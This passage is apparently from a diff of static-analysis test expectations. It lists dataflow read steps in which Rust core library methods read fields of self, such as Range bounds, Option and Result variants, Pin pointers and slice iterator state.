Big32x40.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::add | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::digits | Big32x40.base | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::Big32x40::base] in lang:core::_::::digits | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::mul_pow2 | Big32x40.base | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::Big32x40::base] in lang:core::_::::mul_pow2 | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::mul_small | Big32x40.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::mul_small | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::sub | Big32x40.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::Big32x40::size] in lang:core::_::::sub | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Big8x3.base | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::tests::Big8x3::base] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Big8x3.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::add | Big8x3.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::add | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::digits | Big8x3.base | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::tests::Big8x3::base] in lang:core::_::::digits | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::mul_pow2 | Big8x3.base | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::tests::Big8x3::base] in lang:core::_::::mul_pow2 | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::mul_small | Big8x3.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::mul_small | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::sub | Big8x3.size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::bignum::tests::Big8x3::size] in lang:core::_::::sub | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::normalize | Fp.e | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::diy_float::Fp::e] in lang:core::_::::normalize | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::normalize | Fp.f | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::diy_float::Fp::f] in lang:core::_::::normalize | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::kind | ParseIntError | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::num::error::ParseIntError::kind] in lang:core::_::::kind | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::len | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::len | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::write | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::write | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::branch | Break | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::branch | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::branch | Continue | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Continue(0)] in lang:core::_::::branch | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::break_value | Break | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::break_value | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::continue_value | Continue | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Continue(0)] in lang:core::_::::continue_value | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_try | Break | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::into_try | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_value | Break | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::into_value | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_value | Continue | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Continue(0)] in lang:core::_::::into_value | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map_break | Break | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::map_break | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map_break | Continue | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Continue(0)] in lang:core::_::::map_break | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map_continue | Break | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Break(0)] in lang:core::_::::map_continue | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map_continue | Continue | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::control_flow::ControlFlow::Continue(0)] in lang:core::_::::map_continue | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | IndexRange.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::index_range::IndexRange::start] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::end | IndexRange.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::index_range::IndexRange::end] in lang:core::_::::end | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::start | IndexRange.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::index_range::IndexRange::start] in lang:core::_::::start | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::take_prefix | IndexRange.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::index_range::IndexRange::end] in lang:core::_::::take_prefix | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::take_prefix | IndexRange.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::index_range::IndexRange::start] in lang:core::_::::take_prefix | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::take_suffix | IndexRange.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::index_range::IndexRange::end] in lang:core::_::::take_suffix | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::take_suffix | IndexRange.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::index_range::IndexRange::start] in lang:core::_::::take_suffix | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_mut | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map | Excluded | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Bound::Excluded(0)] in lang:core::_::::map | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map | Included | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Bound::Included(0)] in lang:core::_::::map | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_next | Range.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Range::start] in lang:core::_::::spec_next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_next_back | Range.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Range::end] in lang:core::_::::spec_next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_nth | Range.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Range::end] in lang:core::_::::spec_nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_nth_back | Range.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Range::end] in lang:core::_::::spec_nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_nth_back | Range.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Range::start] in lang:core::_::::spec_nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | Range.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Range::end] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | Range.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Range::start] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::end_bound | Range.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Range::end] in lang:core::_::::end_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::start_bound | Range.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::Range::start] in lang:core::_::::start_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeFrom::start] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeFrom::start] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::bound | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeFrom::start] in lang:core::_::::bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::start_bound | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeFrom::start] in lang:core::_::::start_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_next | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::spec_next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_next_back | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::spec_next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_try_fold | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::spec_try_fold | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_try_rfold | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::spec_try_rfold | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::spec_try_rfold | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::spec_try_rfold | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::end_bound | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::end_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::start_bound | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::start_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::end | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::end | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::end] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_inner | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::start | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::start | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | RangeTo | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeTo::end] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::bound | RangeTo | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeTo::end] in lang:core::_::::bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::end_bound | RangeTo | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeTo::end] in lang:core::_::::end_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | RangeToInclusive | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeToInclusive::end] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::bound | RangeToInclusive | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeToInclusive::end] in lang:core::_::::bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::end_bound | RangeToInclusive | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::range::RangeToInclusive::end] in lang:core::_::::end_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::branch | NeverShortCircuit | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ops::try_trait::NeverShortCircuit(0)] in lang:core::_::::branch | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::branch | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::branch | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_back | Item | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Item::opt] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Iter::inner] in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::branch | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::branch | | file://:0:0:0:0 | [summary param] self in lang:core::_::::and_then | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::and_then | | file://:0:0:0:0 | [summary param] self in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_mut | | file://:0:0:0:0 | [summary param] self in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::as_ref | @@ -2029,14 +3837,59 @@ readStep | file://:0:0:0:0 | [summary param] self in lang:core::_::::unzip | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::unzip | | file://:0:0:0:0 | [summary param] self in lang:core::_::::zip | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::zip | | file://:0:0:0:0 | [summary param] self in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::column | Location.col | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::location::Location::col] in lang:core::_::::column | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::file | Location.file | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::location::Location::file] in lang:core::_::::file | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::line | Location.line | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::location::Location::line] in lang:core::_::::line | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::can_unwind | PanicInfo.can_unwind | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::panic_info::PanicInfo::can_unwind] in lang:core::_::::can_unwind | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::force_no_backtrace | PanicInfo.force_no_backtrace | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::panic_info::PanicInfo::force_no_backtrace] in lang:core::_::::force_no_backtrace | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::location | PanicInfo.location | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::panic_info::PanicInfo::location] in lang:core::_::::location | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::message | PanicInfo.message | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::panic_info::PanicInfo::message] in lang:core::_::::message | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::deref | AssertUnwindSafe | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::unwind_safe::AssertUnwindSafe(0)] in lang:core::_::::deref | | file://:0:0:0:0 | [summary param] self in lang:core::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::deref | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::deref_mut | AssertUnwindSafe | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::panic::unwind_safe::AssertUnwindSafe(0)] in lang:core::_::::deref_mut | | file://:0:0:0:0 | [summary param] self in lang:core::_::::deref_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::deref | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::deref | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::deref_mut | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::deref_mut | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_mut | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::as_mut | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_ref | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_mut | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::get_mut | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_ref | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::get_ref | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::get_unchecked_mut | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::get_unchecked_mut | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_ref | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::into_ref | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map_unchecked | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::map_unchecked | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::map_unchecked_mut | Pin | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::map_unchecked_mut | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::as_non_null_ptr | Unique.pointer | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ptr::unique::Unique::pointer] in lang:core::_::::as_non_null_ptr | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | Range.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::Range::end] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | Range.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::Range::start] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::end_bound | Range.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::Range::end] in lang:core::_::::end_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::start_bound | Range.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::Range::start] in lang:core::_::::start_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::RangeFrom::start] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::start_bound | RangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::RangeFrom::start] in lang:core::_::::start_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::RangeInclusive::end] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_bounds | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::RangeInclusive::start] in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::end_bound | RangeInclusive.end | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::RangeInclusive::end] in lang:core::_::::end_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::start_bound | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::RangeInclusive::start] in lang:core::_::::start_bound | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_slice_range | RangeInclusive.start | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::RangeInclusive::start] in lang:core::_::::into_slice_range | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | IterRange | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::iter::IterRange(0)] in lang:core::_::::nth | | file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | IterRangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::iter::IterRangeFrom(0)] in lang:core::_::::nth | | file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::remainder | IterRangeFrom | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::iter::IterRangeFrom(0)] in lang:core::_::::remainder | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::remainder | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::remainder | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | IterRangeInclusive | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::range::iter::IterRangeInclusive(0)] in lang:core::_::::nth | | file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_back | IntoIter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::IntoIter::inner] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | IntoIter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::IntoIter::inner] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Iter::inner] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_back | Iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Iter::inner] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | Iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Iter::inner] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next_back | IterMut | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::IterMut::inner] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | IterMut | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::IterMut::inner] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::branch | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::branch | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::branch | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::branch | | file://:0:0:0:0 | [summary param] self in lang:core::_::::and | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::and | | file://:0:0:0:0 | [summary param] self in lang:core::_::::and_then | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::and_then | | file://:0:0:0:0 | [summary param] self in lang:core::_::::and_then | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::and_then | @@ -2076,13 +3929,107 @@ readStep | file://:0:0:0:0 | [summary param] self in lang:core::_::::unwrap_or_else | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::unwrap_or_else | | file://:0:0:0:0 | [summary param] self in lang:core::_::::unwrap_or_else | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::unwrap_or_else | | file://:0:0:0:0 | [summary param] self in lang:core::_::::unwrap_unchecked | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::unwrap_unchecked | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::next | ArrayChunks.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ArrayChunks::iter] in lang:core::_::::next | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | ArrayChunks.iter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ArrayChunks::iter] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::remainder | ArrayChunks.rem | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ArrayChunks::rem] in lang:core::_::::remainder | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::into_remainder | ArrayChunksMut.rem | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ArrayChunksMut::rem] in lang:core::_::::into_remainder | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::count | ArrayWindows.num | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ArrayWindows::num] in lang:core::_::::count | | file://:0:0:0:0 | [summary param] self in lang:core::_::::last | element | file://:0:0:0:0 | [summary] read: Argument[self].Element in lang:core::_::::last | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::size_hint | ArrayWindows.num | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::ArrayWindows::num] in lang:core::_::::size_hint | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Chunks.chunk_size | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Chunks::chunk_size] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::clone | Chunks.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Chunks::v] in lang:core::_::::clone | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth_back | Chunks.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Chunks::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::last | Chunks.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Chunks::v] in lang:core::_::::last | +| file://:0:0:0:0 | [summary param] self in lang:core::_::::nth | Chunks.v | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::slice::iter::Chunks::v] in 